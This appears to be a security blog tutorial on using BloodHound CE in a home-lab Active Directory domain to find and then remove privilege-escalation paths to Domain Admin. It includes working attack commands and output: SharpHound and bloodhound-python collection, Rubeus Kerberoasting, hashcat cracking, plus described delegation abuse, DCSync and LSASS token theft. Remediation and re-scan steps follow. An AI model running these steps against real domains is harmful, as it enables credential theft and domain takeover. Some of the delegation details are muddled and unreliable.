You are currently viewing BloodHound First Run: Map the Shortest Path from Domain User to Domain Admin

BloodHound First Run: Map the Shortest Path from Domain User to Domain Admin

📋 Key Takeaways
  • Active Directory permissions accumulate over years: group memberships, delegated rights, Kerberoastable service accounts, and misconfigured delegation all create hidden relationships between ordinary users and privileged accounts.
  • The fastest install is the official Docker compose stack on your attack box
  • On the lab workstation (joined to the domain, logged in as a normal domain user — that's exactly the vantage point we want to test), download the SharpHound collector.
  • In the BloodHound CE web UI, click Upload Data in the sidebar, drop in the zip, and watch the ingestion complete
8 min read · 1,435 words
Educational & Ethical Use Only — This article is provided for educational and ethical cybersecurity research purposes only. The techniques described should only be used on systems you own or have explicit permission to test. Always follow responsible disclosure and the laws applicable to you. Mitigations are included so engineers can harden real systems.
Concept flowBloodHound: User to Domain Admin
  1. 1🐋BloodHound CESpin up Docker stack; graph DB ready at :8080build graph backend
  2. 2🔍SharpHound CollectEnumerate groups, ACLs, sessions, trust edges from a low-priv usenumerate as normal user
  3. 3📥Ingest ZIPUpload data; Neo4j maps 1000+ domain relationshipsupload to web UI
  4. 4📈Shortest Path QueryFind delegation and Kerberoastable routes to Domain Adminquery then remediate
  5. 5🛡️Fix & Re-scanPatch bad ACLs/delegation, re-collect, verify the path is gone

BloodHound turns AD misconfigurations into a visible shortest path to Domain Admin — fix edges, then prove it's gone.

Security

🔎 Last updated · Editorial policy · Report an error

TL;DR: BloodHound turns an Active Directory domain into a graph database, then shows you the shortest attack path from any foothold (like a normal domain user) to Domain Admin. In this lab you’ll collect data with SharpHound on your own lab machines, ingest it into BloodHound CE, find and fix the three most common privilege escalation edges, and re-scan to prove the path is gone.

Authorization note: Everything in this tutorial is meant to be run against machines you own or are explicitly authorized to test — a home lab with a Windows Server domain controller and a client workstation. Collecting and analyzing Active Directory data in environments you don’t own is illegal in most jurisdictions. Build a small lab (one DC, one member server or workstation), snapshot everything, and learn safely.

Why BloodHound?

Active Directory permissions accumulate over years: group memberships, delegated rights, Kerberoastable service accounts, and misconfigured delegation all create hidden relationships between ordinary users and privileged accounts. No admin can hold all of that in their head. BloodHound imports the domain’s relationships into a graph database (Neo4j under the hood) and answers one killer question: what is the shortest path from this user to Domain Admin?

You’ll need:

  • A lab DC running Windows Server (2019/2022 is fine) with a domain, e.g. lab.local
  • One workstation or member server joined to the domain
  • An attack box: Kali Linux or a Windows host with PowerShell
  • BloodHound CE (Community Edition) — a free Docker install

Set Up BloodHound CE

The fastest install is the official Docker compose stack on your attack box:

mkdir bloodhound-ce && cd bloodhound-ce
curl -L https://ghst.ly/get/bhce > docker-compose.yml
docker compose up -d

Expected output:

[+] Running 3/3
 ✔ Container bloodhound-ce-neo4j    Healthy
 ✔ Container bloodhound-ce          Started

On first start, check the logs for the generated admin password:

docker compose logs bloodhound 2>&1 | grep -i password

Browse to http://localhost:8080, log in, and you’re looking at an empty graph. Now go get data.

Collect with SharpHound

On the lab workstation (joined to the domain, logged in as a normal domain user — that’s exactly the vantage point we want to test), download the SharpHound collector. The community edition ships the SharpHound.ps1 PowerShell collector:

# On the lab workstation, PowerShell
Import-Module .SharpHound.ps1
Invoke-SharpHound -CollectionMethod All -OutputDirectory C:Temp -OutputPrefix lab

Expected output:

2025-01-15T10:22:03.1174102-05:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, SPNTargets, CARegistry
2025-01-15T10:22:14.5539021-05:00|INFORMATION|SharpHound Execution Completed: 42 hosts enumerated, 1183 edges collected
2025-01-15T10:22:14.7180462-05:00|INFORMATION|Completed 20 of 20 tasks in 00:00:11
2025-01-15T10:22:14.8123456-05:00|INFORMATION|Output file: C:Templab_20250115102203.zip

If you prefer a Linux attack box, the bloodhound-python collector works without any Windows host access:

pip install bloodhound-python
bloodhound-python -d lab.local -u lowpriv -p 'P@ssw0rd123' -ns 10.0.0.10 -c All --zip

Copy the resulting zip to your attack box.

Ingest the Data

In the BloodHound CE web UI, click Upload Data in the sidebar, drop in the zip, and watch the ingestion complete:

Processing file: lab_20250115102203.zip
Completed processing 1183 edges for 716 objects

In the search bar, type your low-privilege user, click it, and select Path to Domain Admin from the node actions. Two lab misconfigurations almost guarantee results — let’s find them.

Path #1: Exact Unconstrained Delegation

Unconstrained Kerberos delegation means a host stores the TGT of every user who authenticates to it — including Domain Admins. In BloodHound, set your low-priv user as the starting node and run a shortest-path query with the Exact Unconstrained Delegation edge enabled (CE: use the pre-built search “Shortest Paths to Domain Admin” and note edges marked UnconstrainedDelegation).

In our lab, the graph shows:

(LOWPRIV@LAB.LOCAL) -[GenericAll]-> (SRV-DB01$)
SRV-DB01$ has UnconstrainedDelegation enabled
SRV-DB01$ is allowed to Delegate to -> DC01.LAB.LOCAL

The attack chain: the low-priv user has GenericAll over SRV-DB01’s computer object. With that right, you can push a Resource-Based Constrained Delegation config or add a malicious SPN, coerce a DC authentication (Printer Spooler bug or SpoolSample), capture the DC’s TGT in SRV-DB01’s memory, and replay it with a DCSync. Full Domain Admin from a regular user.

Verify the delegation config on the DC:

Get-ADComputer SRV-DB01 -Properties UserAccountControl,TrustedForDelegation

DistinguishedName : CN=SRV-DB01,OU=Servers,DC=lab,DC=local
Enabled           : True
TrustedForDelegation : True
UserAccountControl : 524800

Path #2: Kerberoastable Service Accounts

Open the user svc-sql in the graph and notice it’s flagged Kerberoastable with AdminTo edges into DC01. Kerberoasting requests a service ticket for any account with an SPN, then cracks the ticket offline to recover the account’s password. If svc-sql is a Domain Admin or has admin rights on the DC, cracking it ends the domain.

From the workstation, confirm with Rubeus (or PowerView):

# List kerberoastable accounts
Get-DomainUser -Kerberoastable | select samaccountname,serviceprincipalname

samaccountname serviceprincipalname
-------------- --------------------
svc-sql        MSSQLSvc/srv-db01.lab.local:1433
# Request a crackable ticket
.Rubeus.exe kerberoast /outfile:C:Temptickets.txt

[*] Action: Kerberoasting
[*] Target            : MSSQLSvc/srv-db01.lab.local:1433
[*] Hash              : $krb5tgs$23$*svc-sql$LAB.LOCAL$MSSQLSvc/srv-db01...long hash...
[/] Wrote 1 hash to C:Temptickets.txt

On your attack box, crack it with hashcat:

hashcat -m 13100 tickets.txt /usr/share/wordlists/rockyou.txt

$krb5tgs$23$*svc-sql$...:Summer2023!
Status...........: Cracked

The password cracks in seconds — svc-sql is also in a group with GenericAll over the Domain Admins group’s OU container in our lab graph. Path confirmed.

Path #3: Session Hopping via Local Admin Rights

The third classic edge: BloodHound shows a Domain Admin has an active Session on a workstation where your low-priv user is a LocalAdmin. Steal the DA’s token from LSASS, done. Check the AdminTo and HasSession edges around WS-FIN01 in your graph:

(LOWPRIV) -[AdminTo]-> (WS-FIN01) <-[HasSession]- (DA@LAB.LOCAL)

This is why “users are local admins on their own workstation” is so dangerous.

Fix the Top 3 Edges

Fix 1: Remove Unconstrained Delegation

On the DC, clear the delegation flag on SRV-DB01. If delegation is genuinely needed, use constrained (RBCD) limited to specific services instead:

Set-ADComputer SRV-DB01 -TrustedForDelegation $false
Get-ADComputer SRV-DB01 -Properties TrustedForDelegation

TrustedForDelegation : False

Also audit for any other offenders domain-wide:

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation | select Name

Expected output after the fix: an empty list (DCs aside).

Fix 2: Strong Passwords and Least Privilege for Service Accounts

Rotate the Kerberoastable account’s password to something a cracking rig can’t touch — 25+ random characters — and drop it out of privileged groups:

# Generate a long random password and rotate
$pw = ConvertTo-SecureString ( -join ((48..57)+(65..90)+(97..122) | Get-Random -Count 32 | % {[char]$_}) ) -AsPlainText -Force
Set-ADAccountPassword svc-sql -Reset -NewPassword $pw

# Remove from privileged groups, confirm no admin rights remain
Remove-ADGroupMember "Domain Admins" -Members svc-sql -Confirm:$false

Optionally set Account is sensitive and cannot be delegated on high-value accounts, and enforce AES-only Kerberos encryption so RC4 hashes aren’t requested:

Set-ADUser svc-sql -KerberosEncryptionType AES256

Fix 3: Tiered Admin Model

The session-hopping path dies when privileged accounts never log into lower-tier machines:

  • Use separate admin accounts: Tier 0 (DC/domain), Tier 1 (servers), Tier 2 (workstations)
  • Configure Restricted Groups / LAPS so no standing local admin exists on workstations
  • Block Tier 0 accounts from authenticating to workstations via Group Policy (deny network logon rights, and protected-users-style logon restrictions)
# Remove the user from local admins on WS-FIN01
Invoke-Command WS-FIN01 -ScriptBlock {
    Remove-LocalGroupMember Administrators -Member LABlowpriv
}

# Verify
Get-LocalGroupMember Administrators

Re-Run and Prove the Path Is Gone

Collect again from the same workstation with the same vantage point:

Import-Module .SharpHound.ps1
Invoke-SharpHound -CollectionMethod All -OutputDirectory C:Temp -OutputPrefix lab-postfix

Upload the new zip to BloodHound CE (it creates a second data snapshot). Re-run the Shortest Path to Domain Admin query from lowpriv:

No paths found from LOWPRIV@LAB.LOCAL to DOMAIN ADMINS@LAB.LOCAL
within the default 10-hop limit.

Empty graph. Note the two remaining hardening items in the lab if you want to go further: the GenericAll ACL the user had over SRV-DB01 (find the ACE granting it and remove it — the graph will still show the ACL edge even with delegation off), and the spooler service on servers reachable for coercion attacks.

Defender Takeaways

  • Eliminate unconstrained delegation everywhere: run a scheduled audit for TrustedForDelegation -eq $true, and replace any legitimate need with resource-based constrained delegation scoped to exact services.
  • Make service accounts uncrackerable and unprivileged: 25+ character random passwords, AES256-only Kerberos, gMSA where possible, and zero membership in admin groups — run periodic Kerberoast scans against your own domain to catch regressions.
  • Enforce a tiered admin model with LAPS: dedicated admin accounts per tier, no standing local admin rights for users, Tier 0 accounts blocked from logging into workstations, and local admin passwords randomized per machine with Windows LAPS.
HMMNM Security
Published by HMMNM Security

Hands-on cybersecurity tutorials, CVE breakdowns, and guided learning paths — written and lab-tested by the HMMNM Security team.

Keep going — the structured way
This post is one step. The learning paths chain the next ones for you, with progress tracking and no account needed.
Follow a learning path →

Check your understanding

1. Why is BloodHound useful for auditing Active Directory security?

2. What is the security risk of unconstrained Kerberos delegation on a host?

3. In the lab's attack chain, what role does the low-priv user's GenericAll right over SRV-DB01 play?

4. Why does the article recommend running SharpHound from a normal domain user's workstation?

Your answers stay in this browser only.

Prabhu Kalyan Samal

Application Security Consultant and founder of Hmmnm. Certified Red Team Operator, Burp Suite Certified Practitioner, eWPTX, CompTIA SecurityX and Azure Security Engineer. Writes hands-on labs and threat analysis on web, cloud and AI-agent security.